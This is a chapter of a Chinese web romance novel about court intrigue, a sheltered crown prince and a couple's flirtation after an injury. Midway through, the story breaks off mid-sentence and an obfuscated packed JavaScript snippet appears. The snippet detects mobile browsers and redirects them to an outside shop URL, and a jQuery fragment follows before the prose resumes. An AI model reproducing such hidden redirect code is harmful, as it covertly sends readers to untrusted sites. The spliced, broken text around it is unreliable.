119. 早不疼晚不疼

作品:《邪恶青梅,但哭包竹马

    他加快脚步回席,菜已上得差不多了,又是鲈鱼又是茄鲞又是蟹黄汤之类云云的,元煜看得高兴,秉着客人先吃的道理向二人傻笑:“顾大人,顾小姐,请。”


    顾折刀一愣,看向姜孟,姜孟赶紧低下头,轻轻踢了下他以示无奈。


    最烦小孩子了。二人念声“多谢殿下”,才动筷夹一口,元煜尝一口后更加高兴:“明明是一样的菜,御厨却做得那么清淡,还是外头的好吃。”


    顾折刀:“重口的虽好吃,但总归对身体不好。”


    顾掌事还好意思瞪我,扯谎有一手,上次还和月姨撞见他白吃大鱼大肉。姜孟腹诽,津津有味地自顾自吃着,元煜越看越奇怪:“顾小姐分明是您女儿,长得却和姜奉仪有几分相似。”


    姜孟你编的什么鬼身份?顾折刀强装镇定:“敢问姜奉仪是……”


    元煜:“对不住,忘记你们不认识她了,她是我皇姐身边的红人。”


    姜孟低下眼睛:“民女不敢和奉仪大人相提并论。”


    元煜自嘲地笑了:“我也不敢和我皇姐相提并论,我若能和她一样,就不会总惹父皇不高兴了吧?”


    顾折刀:“殿下莫要妄自菲薄。”


    “父皇是皇上,就连皇上都说天底下找不到第二个和我一样笨的人了,你们就不用安慰我了。”元煜不知是自嘲还是真的释然,“我若能像姜姑娘一样生于普通人家,父皇、皇姐也会待我更好一些吧。”


    他大抵真的不知道姜孟从前过得日子有多苦,边北的风随意一吹就能把千百条人命吹得七零八落,每天食不饱穿不暖,来场疫病或战争,认识的人就死得寥寥无几,漫天黄沙,举目无亲。


    顾折刀笑笑不说话,姜孟也不说话,元煜意识到自己说错了什么,但错在哪他也不知道,求助地甩甩小允子的手,小允子这才开口:“殿下,人各有命,命中甘苦自不相同,您贵为太子,有所牺牲也是值得的。”


    元煜却还是皱眉:“母后贵为皇后,却也逃不掉早逝的命运,所谓尊贵的牺牲真的值得吗?”


    “这……”小允子不敢再说下去了,他向来最谨记“言多必失”的道理,正想敷衍地劝慰两句,就听见木墙后的人议论。


    “老孙今天怎么没跟着来喝酒?他前些日子还扬言要跟我斗上三天三夜哩,莫不是怕了老子?”


    “你不知道,他老婆前两天刚死,这会儿忙着准备丧事哩。”


    “这……恁,他婆娘咋死的?”


    “生孩子生没的呗,娘们儿嘛,谁不得走这一遭?就连那皇后娘娘都逃不了!”


    “我年轻时给那前丞相家当过车夫,皇后娘娘尚未出阁时我见过一面,那般气色红润、身体健壮的女子哇,谁想得到年纪轻轻就死了,怕不是皇上早就看前丞相不顺眼……”


    “你瞎说啥么?要不要脑袋了?”


    “就是就是,别提那些死婆娘了,晦不晦气?喝酒喝酒!”


    言罢又推杯交盏,酣饮豪喝。这些被芝仙叫来推波助澜些“应景话”的人半真半假地说着心里的想法,毕竟孩子不会从男人肚子里出来,他们自然也就不在乎那些个素不相识的死在床上的女人,更不会让这些晦气的死人扰了酒兴,也许老孙会难过吧,毕竟再娶一个婆娘也要花上不少钱。


    元煜握筷不动,良久才像是真的不解般地发问:“父皇不喜欢母后,为什么又要娶她为妻呢?”


    顾折刀顿了顿:“都是坊间乱传的闲话罢了,殿下莫要记挂。”


    “……多谢顾大人了,时候不早,小允子,我们回宫吧。”元煜结了账就旋身离去,饭桌上的菜还没夹几口,全留给了二人解决。


    待元煜走远,顾折刀立马黑着脸转向姜孟:“你骗他说你是我女儿?”


    姜孟赶紧低下头,吓得要流眼泪:“顾掌事……我也是没办法才这么说的,您前脚刚走,太子殿下就问我身份,我要是如实相告,他不就知道您和我姐姐、月姨有关系了吗?”


    话是这么说没错,但平白无故多了个女儿,啧,心里还真不是滋味。


    但再怎么样顾折刀也没法拿姜孟出气,毕竟堂堂大人吓哭一个小孩太没意思,再如何也从她身上捞不到好处,啧,都怪寒镜月,等她回来老子必须狠狠讹她一笔。


    如此想着,终于在五月的最后一天,寒镜月和林浔回来了。


    “我找个人少的地方下车走回去,免得被人发现我和你待一块,你直接回秦府养伤,我晚上再去看你。”寒镜月嘱咐完就打算离开,被林浔拉住手,“还有什么事?”


    林浔指了指自己缠着绷带的脖子,目光游离:“……有点疼。”


    寒镜月一怔,旋即失笑:“早不疼晚不疼,偏偏我要走的时候疼?”


    “就是疼。”林浔嘴硬。


    寒镜月坐回他身边,林浔闭上眼,耳根通红地期待着她轻轻抚摸伤口,不料下一秒呼吸一热,紧接而来的脖子上微微痒的触动迅速爬上全身,不可自抑地缠着酥麻,他慌忙睁眼:“你、你……”


    “你什么你?”寒镜月半悬在他身上,抓住他的手指,坏笑地冲他眨眨眼,“不是你想我亲你脖子吗?”


    林浔只觉头昏眼花,彻底没法思考了:“我是想你摸一下就好,真是的……你、你别贴这么近好不好?”


    “我们都是准夫妻了,凑得近点怎么了?”寒镜月靠在他的唇上,“林浔,你会吗?”


    “会也不是现在!”林浔撑着最后一点力气把她推开,咳咳咳地缓了好久才冷静下来,“你可别逮着我糟践了,你要我死啊?”


    寒镜月起身坐到一边,双手抱住他一只手掌,贴到自己的脸颊上:“林浔,你也太容易害臊了,再说了,不是你非舍不得我,要我疼疼你?”


    “我是舍不得你走那么快,哪是要你那样逗我呀?”林浔的手指不觉碰上她眼下,伤疤尚在,摸着细细地刺,“镜月,你走好,要小心些,别太冲动,知不知道?”


    寒镜月:“好好好,又不是要出远门,至于这样吗?晚上就去找你,别难过了。”


    两人腻腻歪歪半天才作别,寒镜月挑了个人少的地方下去,一路直奔自己家。


    多日不见,也不知阿慎和阿孟怎么样?托顾折刀帮忙办事虽不用害怕他办砸,但他突发奇想埋个坑是屡犯不爽的。


    寒镜月到了家门前,此时刚过午时,不出意外姜慎应该在家,她推门而入,家里过分安静,“阿慎?阿慎?”


    她喊了两声,无人回应。


    又去找公主了?寒镜月心中总不安生,和一个对你有情的


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17298965|190865||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    人频繁见面是一件很危险的事,尤其是当你对她无意时。


    如此想着,她步行到了公主府附近,骑马坐车太招人眼,她只打算在能看见府门动静的角落里等着,若姜慎出来并无大碍,就当没来过。


    然而没等她站多久,府门口就急匆匆跑出来一个小厮,慌里慌张地对站在外头的几个看着不像公主府的人喊:“诶呀你快进来拦拦你家少爷!又骂又闹的冲撞了公主和奉仪大人,还要不要命了?!”


    “谁都别拦我!你别以为你是公主,你就能这般辱我!”


    骂话的人气冲冲从里头出来,元令看都懒得看,冷哼一声:“若非父皇执意让我挑三个到府里提前瞧瞧,哪轮得到他进我的门脏我的眼?这姓温的忒不知好歹,往后定不能让他顺风顺水。”


    她刚骂完,一直站在一旁静静等候的少年方仪态端庄地缓步上前,徐徐行礼:“殿下莫要为无礼之人大动肝火,不如今日您先和奉仪大人休息,改日再议吧。”


    元令才发现那儿站了个人,今日召来选亲的人有三位,一位胡公子,因为太沉默寡言被她拒绝了,一位温公子,就是刚才得知她还好女风后气急败坏走了的那个,最后一位,就是眼前这个气度不凡、温润端庄的楚公子楚青遥。


    “做了驸马,你必须唯我是从,且要对慎儿也毕恭毕敬,在外你大她小,在家你小她大,我不传你,你不能随便在我眼前晃悠,不能随意打探我的事,除非我想圆房,否则你不能越雷池一步,你家也必须站在我这边,绝对不容许背叛,出于公平,我也会给你的家族应有的荣华富贵。”


    元令上下打量了他一番,不容置喙地将规矩通通说出,楚青遥始终是那副淡淡的得体模样,微微倾身:“臣保证,只唯公主和奉仪大人是从。”


    姜慎有些莫名其妙地看着他,腹诽:此人颇有些心眼,谁不知元令她最讲求万人之上、无人比肩的骄傲?这般将我与她并提,看似是奉承她对我的情意,实则是暗暗离间。


    元令盯了楚青遥一会儿:“你是不是之前见过我?”


    很微妙的问题,楚青遥大大方方:“曾随兄长进宫赴宴,远远瞧见公主天人之姿,心生仰慕。”


    元令不出所料地嗤了声:“你们这些人最爱拿一面之缘自作多情,看在你目前还算讨我欢心的份上,明日起的半个月,你在公主府歇下吧,若表现好,我就让父皇帮我提亲。”


    姜慎松了口气,楚青遥似乎发觉了她的动作,双眉微颤。


    离开公主府后,楚青遥主动喊住她:“奉仪大人,楚某初来乍到不懂规矩,还请多多担待。”


    这人有毛病吧?上赶着做小?姜慎尴尬地笑:“哪里的话,只要殿下高兴,我做什么都乐意。”


    “您倒待殿下一片真心。”楚青遥意味不明地瞥了她一眼,分明看着是温润如玉的公子模样,说的话却显出几分别样的幽怨。


    “楚公子莫要打趣了,公主喜欢有肚量的人,若无要事,我先行一步。”姜慎懒得搭理这个疑似元令迷弟的人,一个拐弯正要回家,撞见了蹲在一边欠兮兮的寒镜月,“师傅?!你怎么在这?”


    寒镜月谑笑:“中午到的玉京,我还以为你会被那个自诩正宫的男人找麻烦,才一直待着没走,公主已经敲定这个人了?”